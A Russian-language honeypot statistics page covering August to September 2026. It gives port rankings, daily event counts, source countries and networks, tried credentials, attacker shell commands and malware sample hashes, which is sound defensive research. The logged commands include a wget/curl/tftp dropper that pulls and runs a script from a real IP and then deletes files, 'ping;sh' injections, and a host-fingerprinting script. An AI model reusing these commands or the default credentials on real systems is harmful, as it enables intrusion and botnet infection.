Рейтинг портов #
Основная таблица эксперимента: какие порты вызывали наибольший интерес у злоумышленников. Можно сортировать по любому столбцу, фильтровать по серверу и искать конкретный порт, диапазон или название службы. На каждую строку можно дать ссылку, например #port-3389.
| Порт | Протокол | Обычная услуга | Сервер | Опыты | Уникальный IP-адрес | Доля |
|---|---|---|---|---|---|---|
| 5901 | tcp | VNC | оба сервера | 883 864 | 801 | 16,1 % |
| 3389 | tcp | RDP | оба сервера | 734 148 | 2 425 | 13,4 % |
| 3389 | tcp | RDP | srv4 | 726 599 | 1 515 | 18,1 % |
| 5900 | tcp | VNC | оба сервера | 707 172 | 1 343 | 12,9 % |
| 445 | tcp | SMB | оба сервера | 459 930 | 6 055 | 8,4 % |
| 5901 | tcp | VNC | srv4 | 449 586 | 598 | 11,2 % |
| 5901 | tcp | VNC | srv3 | 434 278 | 655 | 29,7 % |
| 445 | tcp | SMB | srv3 | 415 953 | 5 570 | 28,4 % |
| 5900 | tcp | VNC | srv4 | 360 884 | 1 098 | 9,0 % |
| 5900 | tcp | VNC | srv3 | 346 288 | 1 176 | 23,7 % |
- Временное окно
- 21. 8. 2026 – 16. 9. 2026
- Исходные данные
- honeypot-ports-aggregated-20260922.csv
- Скрипт
- будет опубликован
- Формат
- описание полей
Динамика во времени #
Объем событий во времени, разбитый на кампании и базовый шум, а под ним — количество уникальных IP-адресов. Согласно журналам агентов, отдельные кампании генерировали большую часть суточного трафика. Без такого разделения график вводил бы в заблуждение: кампания выглядела бы как тренд, а её окончание — как сбой сбора данных.
Насколько точно кампания отделяется от фонового шума, определяет скрипт, приведенный под графиком.
Количество событий
- Фоновый шум
- Кампании
Уникальные IP-адреса
Количество различных исходных IP-адресов за каждый день.
- srv3
- srv4
Уникальные IP-адресы нельзя суммировать по серверам — один и тот же адрес мог использоваться для атак на оба сервера. Поэтому для каждого сервера выделена отдельная строка.
Затемнённые столбцы и пустые кружки обозначают неполные периоды: окно сбора данных начинается и заканчивается в 12:00 UTC, а период, обрезанный выбранным диапазоном, короче остальных. Поэтому не сравнивайте их с соседними.
Отобразить значения в виде таблицы
| День (UTC) | События | Кампании | Фоновый шум | Уникальный IP-адрес srv3 | Уникальный IP-адрес srv4 |
|---|---|---|---|---|---|
| 22. 8. 2026 · неполный | 82 303 | 59 843 | 22 460 | 547 | 1 870 |
| 23. 8. 2026 | 79 276 | 34 177 | 45 099 | 1 292 | 3 529 |
| 24. 8. 2026 | 48 928 | 10 775 | 38 153 | 1 429 | 3 309 |
| 25. 8. 2026 | 69 902 | 29 825 | 40 077 | 1 552 | 3 824 |
| 26. 8. 2026 | 68 792 | 28 709 | 40 083 | 1 552 | 3 775 |
| 27. 8. 2026 | 204 306 | 161 642 | 42 664 | 1 585 | 4 301 |
| 28. 8. 2026 | 201 823 | 159 044 | 42 779 | 1 364 | 4 083 |
| 29. 8. 2026 | 206 275 | 171 641 | 34 634 | 1 029 | 3 853 |
| 30. 8. 2026 | 185 689 | 148 263 | 37 426 | 975 | 4 176 |
| 31. 8. 2026 | 539 919 | 504 248 | 35 671 | 1 488 | 4 183 |
| 1. 9. 2026 | 720 200 | 666 265 | 53 935 | 1 573 | 4 500 |
| 2. 9. 2026 | 275 758 | 209 955 | 65 803 | 1 859 | 4 281 |
| 3. 9. 2026 | 274 675 | 227 972 | 46 703 | 1 621 | 4 343 |
| 4. 9. 2026 | 219 422 | 167 450 | 51 972 | 1 628 | 4 087 |
| 5. 9. 2026 | 154 023 | 95 631 | 58 392 | 1 535 | 4 117 |
| 6. 9. 2026 | 131 807 | 46 399 | 85 408 | 1 637 | 4 349 |
| 7. 9. 2026 | 184 403 | 94 877 | 89 526 | 1 494 | 4 402 |
| 8. 9. 2026 | 169 747 | 59 781 | 109 966 | 1 758 | 4 609 |
| 9. 9. 2026 | 177 572 | 48 861 | 128 711 | 1 733 | 4 671 |
| 10. 9. 2026 | 193 394 | 60 866 | 132 528 | 1 818 | 5 095 |
| 11. 9. 2026 | 210 418 | 63 267 | 147 151 | 1 747 | 5 402 |
| 12. 9. 2026 | 254 827 | 82 831 | 171 996 | 1 859 | 5 450 |
| 13. 9. 2026 | 236 911 | 105 016 | 131 895 | 1 854 | 5 434 |
| 14. 9. 2026 | 213 640 | 83 835 | 129 805 | 1 994 | 5 516 |
| 15. 9. 2026 | 272 074 | 159 141 | 112 933 | 1 884 | 5 303 |
| 16. 9. 2026 · неполный | 101 115 | 28 713 | 72 402 | 1 386 | 3 449 |
- Временное окно
- 21. 8. 2026 – 16. 9. 2026
- Исходные данные
- timeline-aggregated пока недоступно
- Скрипт
- будет опубликован
- Формат
- описание полей
Карта происхождения соединения #
Откуда поступали подключения. Страна определяется по регистрации IP-адреса, а не по фактическому местоположению злоумышленника — за этим адресом может скрываться арендованный сервер или взломанный компьютер в любой точке мира. Точные цифры приведены в таблицах ниже.
Карта отображается с помощью сервиса Datawrapper; при её загрузке браузер подключается к серверам этого сервиса. Открыть карту отдельно
География и сети #
Откуда поступал трафик, судя по геолокации исходного IP-адреса и тому, к каким автономным системам (ASN) относятся эти адреса. Геолокация показывает, где зарегистрирован адрес, а не где находится злоумышленник.
Наиболее распространенные страны
Крупнейшие сети (ASN)
| ASN | Сеть | События | Уникальный IP-адрес | Доля |
|---|---|---|---|---|
| 29125 | TATINT-AS RU |
1 | 1 | 0,0 % |
| 41960 | NEXTPERTISE Nextpertise NL |
1 | 1 | 0,0 % |
| 136461 | VNP-AS-AP Virtual Network Pvt.Ltd NP |
1 | 1 | 0,0 % |
| 61902 | Bahialink Technology Ltda BR |
1 | 1 | 0,0 % |
| 25150 | DCTEL-AS Nezavisimoy Ukraini UA |
1 | 1 | 0,0 % |
| 61870 | Gcu Servicos de Provedor Ltda BR |
1 | 1 | 0,0 % |
| 141039 | PACKETHUBSA-AS-AP PacketHub S.A. PA |
1 | 1 | 0,0 % |
| 136297 | VISIONHI-AS-IN Vision Hi-speed Technology Pvt.ltd. IN |
1 | 1 | 0,0 % |
| 202619 | DOVECOM RU |
1 | 1 | 0,0 % |
| 51279 | ASSUTYRIN UA |
1 | 1 | 0,0 % |
Отобразить значения в виде таблицы
| Страна | События | Уникальный IP-адрес | Доля |
|---|---|---|---|
| US | 2 057 660 | 13 624 | 37,6 % |
| DE | 1 230 744 | 1 111 | 22,5 % |
| CN | 556 778 | 5 671 | 10,2 % |
| GB | 486 870 | 2 870 | 8,9 % |
| SC | 184 746 | 319 | 3,4 % |
| NL | 120 671 | 174 | 2,2 % |
| TN | 96 601 | 94 | 1,8 % |
| VN | 64 512 | 644 | 1,2 % |
| MX | 59 561 | 281 | 1,1 % |
| IN | 49 705 | 850 | 0,9 % |
- Временное окно
- 21. 8. 2026 – 16. 9. 2026
- Исходные данные
- geo-aggregated пока недоступно
- Скрипт
- будет опубликован
- Формат
- описание полей
Данные для входа #
Сочетания имени пользователя и пароля, которые пробовали злоумышленники, а также наиболее часто пробованные имена пользователей. Значения отображаются точно в том виде, в каком они поступили.
Наиболее популярные имена пользователей
Наиболее распространённые комбинации
| Имя | Пароль | Опыты | Уникальный IP-адрес |
|---|---|---|---|
root |
1234 |
680 | 128 |
sa |
(пусто) | 667 | 18 |
root |
anko |
582 | 24 |
user |
user |
563 | 99 |
root |
password |
543 | 119 |
admin |
admin1234 |
531 | 68 |
root |
pass |
521 | 69 |
postgres |
(пусто) | 509 | 23 |
admin |
smcadmin |
499 | 27 |
root |
1111 |
455 | 32 |
- Временное окно
- 21. 8. 2026 – 16. 9. 2026
- Исходные данные
- credentials-aggregated пока недоступно
- Скрипт
- будет опубликован
- Формат
- описание полей
Что происходило после входа в систему #
Команды, введенные злоумышленниками в эмулированной оболочке, отсортированные по частоте использования. Это ввод злоумышленника, а не код, который действительно выполнялся бы на сервере.
| Команда | Количество | Отношения |
|---|---|---|
echo xsec |
1 704 | 1 704 |
/bin/busybox UNSTABLE |
1 323 | 1 323 |
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PATH:-} LC_ALL=C LANG=C
uname=$(for c in uname /bin/uname /usr/bin/uname 'busybox uname' 'toybox uname'; do v=$($c -s -v -n -m 2>/dev/null) && [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; done; IFS= read -r v < /proc/version && printf '%s\n' "$v") 2>/dev/null
arch=$(for c in uname /bin/uname /usr/bin/uname 'busybox uname' 'toybox uname'; do v=$($c -m 2>/dev/null) && [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; done; for c in arch 'busybox arch' 'toybox arch'; do v=$($c 2>/dev/null) && [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; done; printf '%s\n' unknown)
uptime=$(IFS= read -r v < /proc/uptime && printf '%s\n' "$v" || cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null || toybox cat /proc/uptime 2>/dev/null) 2>/dev/null
cpus=$(unset OMP_NUM_THREADS OMP_THREAD_LIMIT; for c in nproc /usr/bin/nproc 'busybox nproc' 'toybox nproc'; do v=$($c 2>/dev/null) || continue; case $v in ''|*[!0-9]*) continue ;; esac; [ "$v" -gt 0 ] 2>/dev/null && { printf '%s\n' "$v"; exit; }; done; for a in awk 'busybox awk' 'toybox awk'; do $a 'BEGIN { exit 0 }' </dev/null 2>/dev/null && break; done; v=$($a 'function count(s, a,b,n,i,t,m) { gsub(/[[:space:]]/,"",s); n=split(s,a,","); for(i=1;i<=n;i++) { if(a[i]!~/^[0-9]+(-[0-9]+)?$/) return 0; m=split(a[i],b,"-"); if(m==2 && b[2]+0<b[1]+0) return 0; t+=(m==2?b[2]-b[1]+1:1) } return t } BEGIN { while((getline s < "/proc/self/status")>0) if(s~/^Cpus_allowed_list:/) { sub(/^[^:]*:/,"",s); n=count(s); if(n>0) { print n; exit } } }' 2>/dev/null); [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; for c in getconf 'busybox getconf' 'toybox getconf'; do v=$($c _NPROCESSORS_ONLN 2>/dev/null) || continue; case $v in ''|*[!0-9]*) continue ;; esac; [ "$v" -gt 0 ] 2>/dev/null && { printf '%s\n' "$v"; exit; }; done; v=$($a 'BEGIN { if((getline s < "/sys/devices/system/cpu/online")>0 && s~/^[0-9]+(-[0-9]+)?(,[0-9]+(-[0-9]+)?)*$/) { k=split(s,a,","); for(i=1;i<=k;i++) { m=split(a[i],b,"-"); if(m==2 && b[2]+0<b[1]+0) { n=0; break } n+=(m==2?b[2]-b[1]+1:1) } if(n>0) { print n; exit } } while((getline s < "/proc/cpuinfo")>0) { if(s~/^[[:space:]]*processor[[:space:]]*:[[:space:]]*[0-9]+[[:space:]]*$/ || s~/^[[:space:]]*processor[[:space:]]+[0-9]+:/) n++; if(s~/^[[:space:]]*#[[:space:]]*processors[[:space:]]*:/) { sub(/^[^:]*:/,"",s); p=s+0 } } if(n>0) print n; else if(p>0) print p }' 2>/dev/null); printf '%s\n' "${v:-unknown}")
cpu_model=$(for a in awk 'busybox awk' 'toybox awk'; do $a 'BEGIN { exit 0 }' </dev/null 2>/dev/null && break; done; r() { [ -r "$1" ] || return; while IFS= read -r s || [ -n "$s" ]; do printf '%s\n' "$s"; done < "$1"; }; v=$({ lscpu 2>/dev/null || busybox lscpu 2>/dev/null || toybox lscpu 2>/dev/null; printf '\n@@CPUINFO@@\n'; r /proc/cpuinfo; printf '\n@@MIDR@@\n'; for f in /sys/devices/system/cpu/cpu[0-9]*/regs/identification/midr_el1; do r "$f"; done; } | $a 'function trim(s) { gsub(/^[[:space:]]+|[[:space:]]+$/, "", s); return s } function useful(s, t) { t=tolower(trim(s)); return t!="" && t!~/^(unknown|undefined|unspecified|not specified|not available|not present|not installed|default string|to be filled by o\.e\.m\.|n\/a|none|null|\(null\)|-|(0x)?[0-9a-f]+)$/ && t!~/^(unknown|unidentified|unrecognized)([[:space:]]|$)/ && t!~/^(armv[0-9]+(-compatible)?|aarch64|arm64|arm)([[:space:]]+processor|[[:space:]]*\(|$)/ && t!~/^(armv[0-9]+|aarch64|arm64|arm|processor|cpu|riscv(32|64)?|risc-v|x86_64|amd64|i[3-6]86|ppc64(le)?|powerpc|loongarch64|s390x)$/; } function number(s, n,i,d) { s=tolower(trim(s)); n=0; if(s~/^0x[0-9a-f]+$/) { for(i=3;i<=length(s);i++) { d=index("0123456789abcdef",substr(s,i,1))-1; n=n*16+d } return n; } return s~/^[0-9]+$/ ? s+0 : -1; } function addname(s) { if(useful(s) && !names[s]++) name[++nn]=s } function arm(impl,part, id,s) { impl=number(impl); part=number(part); if(impl<0 || impl>255 || part<0 || part>4095) return; id=sprintf("%02x:%03x",impl,part); if(ids[id]++) return; s=parts[id]; if(s=="") s="ARM implementer=0x" substr(id,1,2) " part=0x" substr(id,4); core[++nc]=s; } function addraw(s) { if(s!="" && !rawseen[s]++) raw[++nr]=s } function flush() { addname(model); if(implementer!="" && part!="") arm(implementer,part); if(mvendor!="" || march!="" || mimp!="") addraw("RISC-V mvendorid=" mvendor " marchid=" march " mimpid=" mimp); model=implementer=part=""; mvendor=march=mimp=""; } function table(impl,s, a,b,n,i) { n=split(s,a," "); for(i=1;i<=n;i++) { split(a[i],b,"="); parts[impl ":" b[1]]=b[2] } } function output(a,n, i) { for(i=1;i<=n;i++) printf "%s%s",(i>1?" + ":""),a[i] } BEGIN { table("41","b76=ARM1176 c05=Cortex-A5 c07=Cortex-A7 c08=Cortex-A8 c09=Cortex-A9 c0d=Cortex-A17 c0e=Cortex-A17 c0f=Cortex-A15 d01=Cortex-A32 d02=Cortex-A34 d03=Cortex-A53 d04=Cortex-A35 d05=Cortex-A55 d06=Cortex-A65 d07=Cortex-A57 d08=Cortex-A72 d09=Cortex-A73 d0a=Cortex-A75 d0b=Cortex-A76 d0c=Neoverse-N1 d0d=Cortex-A77 d0e=Cortex-A76AE d40=Neoverse-V1 d41=Cortex-A78 d42=Cortex-A78AE d44=Cortex-X1 d46=Cortex-A510 d47=Cortex-A710 d48=Cortex-X2 d49=Neoverse-N2 d4a=Neoverse-E1 d4b=Cortex-A78C d4d=Cortex-A715 d4e=Cortex-X3 d4f=Neoverse-V2 d80=Cortex-A520 d81=Cortex-A720 d82=Cortex-X4 d84=Neoverse-V3 d85=Cortex-X925 d87=Cortex-A725"); table("42","00f=Brahma-B15 100=Brahma-B53 516=ThunderX2"); table("43","0a0=ThunderX 0a1=ThunderX-88XX 0a2=ThunderX-81XX 0a3=ThunderX-83XX 0af=ThunderX2-99xx"); table("46","001=A64FX"); table("4e","000=Denver 003=Denver-2 004=Carmel"); table("50","000=X-Gene"); table("51","001=Oryon 00f=Scorpion 02d=Scorpion 04d=Krait 06f=Krait 201=Kryo 205=Kryo 211=Kryo 800=Falkor-V1/Kryo 801=Kryo-V2 802=Kryo-3XX-Gold 803=Kryo-3XX-Silver 804=Kryo-4XX-Gold 805=Kryo-4XX-Silver c00=Falkor c01=Saphira"); table("c0","ac3=Ampere-1 ac4=Ampere-1a"); } /^@@CPUINFO@@$/ { section=1; next } /^@@MIDR@@$/ { flush(); section=2; next } section==2 { s=tolower(trim($0)); sub(/^0x/,"",s); if(s!~/^[0-9a-f]+$/ || length(s)<8) next; s=substr(s,length(s)-7); arm("0x" substr(s,1,2),"0x" substr(s,5,3)); next; } section==1 && /^[[:space:]]*$/ { flush(); next } { pos=index($0,":"); if(!pos) next; key=tolower(trim(substr($0,1,pos-1))); value=trim(substr($0,pos+1)); if(section==0) { if(key=="model name" && useful(value) && !lsseen[value]++) ls[++nl]=value; if(key=="bios model name" && useful(value) && !biosseen[value]++) bios[++nb]=value; next; } if(key=="processor" && value~/^[0-9]+$/) flush(); if(key=="cpu implementer") implementer=value; if(key=="cpu part") part=value; if(key=="mvendorid") mvendor=value; if(key=="marchid") march=value; if(key=="mimpid") mimp=value; if(key~/^(model name|cpu model|cpu|uarch|cpu type|processor)$/ && useful(value)) { if(model=="" || key=="model name" || key=="uarch") model=value; } if(key~/^processor[[:space:]]+[0-9]+$/ && value~/machine[[:space:]]*=/) { s=value; sub(/^.*machine[[:space:]]*=[[:space:]]*/,"",s); sub(/[,[:space:]].*$/,"",s); if(s!="") addraw("IBM S/390 machine " s); } } END { flush(); if(nn>0) { output(name,nn); if(nc>1) { printf " [cores: "; output(core,nc); printf "]" } } else if(nc>1) { output(core,nc); } else if(nl>0) { output(ls,nl); } else if(nb>0) { output(bios,nb); } else if(nc>0) { output(core,nc); } else if(nr>0) { output(raw,nr); } if(nn+nc+nl+nb+nr>0) print ""; }' 2>/dev/null); [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; if ! $a 'BEGIN { exit 0 }' </dev/null 2>/dev/null; then v=$(emit() { [ -n "$1" ] || return; case "$seen" in *"|$1|"*) return ;; esac; printf '%s%s' "$sep" "$1"; sep=' + '; seen="$seen|$1|"; }; rec() { if [ -n "$n" ]; then emit "$n"; elif [ -n "$i" ] && [ -n "$p" ]; then emit "ARM implementer=$i part=$p"; fi; n= i= p=; }; n= i= p= seen= sep=; if [ -r /proc/cpuinfo ]; then while IFS=: read -r k x || [ -n "$k$x" ]; do k=${k#"${k%%[![:space:]]*}"}; k=${k%"${k##*[![:space:]]}"}; x=${x#"${x%%[![:space:]]*}"}; x=${x%"${x##*[![:space:]]}"}; case "$k" in '') rec ;; processor) case "$x" in *[!0-9]*) ;; *) rec ;; esac ;; 'CPU implementer') i=$x ;; 'CPU part') p=$x ;; 'model name'|'Model Name'|'cpu model'|cpu|uarch|'cpu type'|Processor) case "$x" in ''|[Uu][Nn][Kk][Nn][Oo][Ww][Nn]*|[Nn]/[Aa]|[Aa][Rr][Mm]*[Pp]rocessor*|[Aa][Aa][Rr][Cc][Hh]64*) ;; *) case "$x" in *[!0-9]*) n=$x ;; esac ;; esac ;; esac; done < /proc/cpuinfo; rec; fi); [ -n "$v" ] && { printf '%s\n' "$v"; exit; }; fi; v=$(for d in /sys/firmware/devicetree/base /proc/device-tree; do [ -d "$d/cpus" ] || continue; for f in "$d"/cpus/*/compatible; do [ -r "$f" ] || continue; tr '\000' '\n' < "$f" 2>/dev/null || busybox tr '\000' '\n' < "$f" 2>/dev/null || toybox tr '\000' '\n' < "$f" 2>/dev/null; done; break; done | $a 'NF && !seen[$0]++ { printf "%s%s",n++?" + ":"CPU compatible: ",$0 } END { if(n) print "" }' 2>/dev/null); printf '%s\n' "${v:-unknown ($arch)}")
gpu_info=$(for a in awk 'busybox awk' 'toybox awk'; do $a 'BEGIN { exit 0 }' </dev/null 2>/dev/null && break; done; r() { [ -r "$1" ] || return; while IFS= read -r s || [ -n "$s" ]; do printf '%s\n' "$s"; done < "$1"; }; v=$(for c in lspci 'busybox lspci' 'toybox lspci'; do p=$($c -Dnn 2>/dev/null) || p=; [ -n "$p" ] || { p=$($c -nn 2>/dev/null) || p=; }; [ -n "$p" ] || { p=$($c 2>/dev/null) || p=; }; p=$(printf '%s\n' "$p" | $a '{ s=tolower($0) } s~/\[03[0-9a-f][0-9a-f]\]/ || s~/(vga compatible|3d|display) controller/ || s~/(^|[[:space:]])(class[[:space:]]+)?03[0-9a-f][0-9a-f]:[[:space:]]/ { if(!seen[$0]++) print }' 2>/dev/null); [ -n "$p" ] && { printf '%s\n' "$p"; break; }; done); if [ -n "$v" ]; then printf '%s\n' "$v"; else for d in /sys/bus/pci/devices/*; do c=$(r "$d/class"); case $c in 0x03????) x=$(r "$d/vendor"); y=$(r "$d/device"); printf '%s display controller [%s:%s]\n' "${d##*/}" "${x#0x}" "${y#0x}" ;; esac; done; fi; for d in /sys/class/drm/card[0-9]* /sys/class/drm/renderD[0-9]*; do [ -d "$d/device" ] || continue; case ${d##*/} in *-*) continue ;; esac; e=$(r "$d/device/uevent"); case $e in *PCI_SLOT_NAME=*) continue ;; esac; p=$(CDPATH= cd -P "$d/device" 2>/dev/null && pwd -P); [ -n "$p" ] || continue; x=$(printf '%s\n' "$e" | $a '/^DRIVER=/ { sub(/^DRIVER=/,""); print; exit }' 2>/dev/null); printf '%s DRM device: %s\n' "$p" "${x:-unknown}"; done | $a '!seen[$0]++' 2>/dev/null)
last_output=$(last 2>/dev/null)
filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 )
printf 'UNAME:%s\n' "$uname"
printf 'ARCH:%s\n' "$arch"
printf 'UPTIME:%s\n' "$uptime"
printf 'CPUS:%s\n' "$cpus"
printf 'CPU_MODEL:%s\n' "$cpu_model"
printf 'GPU:%s\n' "$gpu_info"
printf 'LAST:%s\n' "$last_output"
printf 'FILTER:%s\n' "$filter_output" |
1 247 | 1 247 |
echo -e "\x47\x41\x59" |
1 233 | 411 |
ping ;sh |
1 158 | 1 157 |
enablelinuxshell |
1 084 | 1 084 |
ping; sh |
905 | 905 |
/bin/busybox STC |
899 | 899 |
cd /tmp 2>/dev/null || cd /run 2>/dev/null || cd /; wget http://213.232.114.14/handshakebins.sh 2>/dev/null; busybox wget http://213.232.114.14/handshakebins.sh 2>/dev/null; curl -o handshakebins.sh http://213.232.114.14/handshakebins.sh 2>/dev/null; chmod 777 handshakebins.sh 2>/dev/null; sh handshakebins.sh 2>/dev/null; tftp 213.232.114.14 -c get handshaketftp1.sh 2>/dev/null; chmod 777 handshaketftp1.sh 2>/dev/null; sh handshaketftp1.sh 2>/dev/null; tftp -r handshaketftp2.sh -g 213.232.114.14 2>/dev/null; chmod 777 handshaketftp2.sh 2>/dev/null; sh handshaketftp2.sh 2>/dev/null; rm -rf handshakebins.sh handshaketftp1.sh handshaketftp2.sh 2>/dev/null; rm -rf * 2>/dev/null; echo "PAYLOAD_EXECUTED" |
842 | 842 |
echo PAYLOAD_EXECUTED |
797 | 797 |
- Временное окно
- 21. 8. 2026 – 16. 9. 2026
- Исходные данные
- attacker-commands-aggregated пока недоступно
- Скрипт
- будет опубликован
- Формат
- описание полей
Отобранные образцы #
Файлы, которые злоумышленники пытались скачать или загрузить, с разбивкой по типу и архитектуре.
По типу файла
В соответствии с архитектурой
| SHA-256 | Тип | Архитектура | Размер | Впервые | Зафиксировано | Поиск |
|---|---|---|---|---|---|---|
| 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b | data | — | 1 B | 23. 8. 2026 16:54:42 | 492 | VirusTotal |
| 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b | data | — | 1 B | 23. 8. 2026 10:04:58 | 330 | VirusTotal |
| f2e2ffc024ab99eb49fa207756481aa80713398142f30888aebace5706909b36 | data | — | 697 B | 23. 8. 2026 12:07:36 | 243 | VirusTotal |
| a6296a79f44e21b76604d2d2bbf795d2cf380f70e39d45fbf166707ff3b4a6a4 | script | — | 306 B | 22. 8. 2026 18:09:16 | 208 | VirusTotal |
| 4af5a5c98ad132095c6fbe7b02c242153a190a01cc321e50a916a0ca46fbaa62 | data | — | 9 B | 22. 8. 2026 18:09:19 | 206 | VirusTotal |
| 4af5a5c98ad132095c6fbe7b02c242153a190a01cc321e50a916a0ca46fbaa62 | data | — | 9 B | 22. 8. 2026 15:49:53 | 205 | VirusTotal |
| a9b1c85a7bd78dd1112ecc75c9070ea8c53078831a17aa09ebeb287fe6e21b72 | data | — | 9 B | 7. 9. 2026 11:48:13 | 59 | VirusTotal |
| 1193dde1c831808bf6f2db6f5b850b846b8a7f870873ec3b8a347f21cc5d96e3 | data | — | 9 B | 7. 9. 2026 11:48:13 | 59 | VirusTotal |
| 14049d077b887cbb8060d223ff9626664a044a8c3145f6a2b95a325df36b279b | data | — | 7 B | 13. 9. 2026 15:31:53 | 58 | VirusTotal |
| 43728fbfb98bb39ff61a2db0fc2905bd6937997062b05b9ab8b186fdee18c09a | data | — | 399 B | 23. 8. 2026 00:49:29 | 47 | VirusTotal |
- Временное окно
- 21. 8. 2026 – 16. 9. 2026
- Исходные данные
- samples-aggregated пока недоступно
- Скрипт
- будет опубликован
- Формат
- описание полей
Сравнение серверов #
Насколько увеличился трафик благодаря увеличению площади и чем отличаются эти два сервера по структуре.
| Показатель | srv3 | srv4 | srv4 / srv3 |
|---|---|---|---|
| Попытки подключения (рейтинг портов) | 1 462 877 | 4 014 322 | 2,7× |
| Затронутые порты | 45 | 58 628 | 1 302,8× |
| События (динамика во времени) | 1 462 877 | 4 014 322 | 2,7× |
srv3 наиболее распространенные порты
srv4 наиболее распространенные порты
- Временное окно
- 21. 8. 2026 – 16. 9. 2026
- Исходные данные
- honeypot-ports-aggregated-20260922.csv, timeline-aggregated пока недоступно
- Скрипт
- будет опубликован
- Формат
- описание полей
Вы обнаружили ошибку, отсутствующие данные или утечку конфиденциальной информации? Сообщите о проблеме